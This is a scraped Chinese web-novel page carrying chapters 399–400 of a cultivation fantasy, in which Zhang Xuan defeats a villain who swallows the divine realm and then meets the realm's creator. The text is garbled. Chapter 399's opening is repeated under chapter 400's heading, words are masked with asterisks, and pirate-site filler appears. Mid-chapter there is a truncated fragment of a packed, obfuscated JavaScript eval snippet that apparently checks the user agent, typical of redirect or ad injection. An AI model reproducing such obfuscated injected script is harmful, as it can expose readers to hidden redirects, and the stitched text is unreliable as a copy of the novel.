“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十九章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 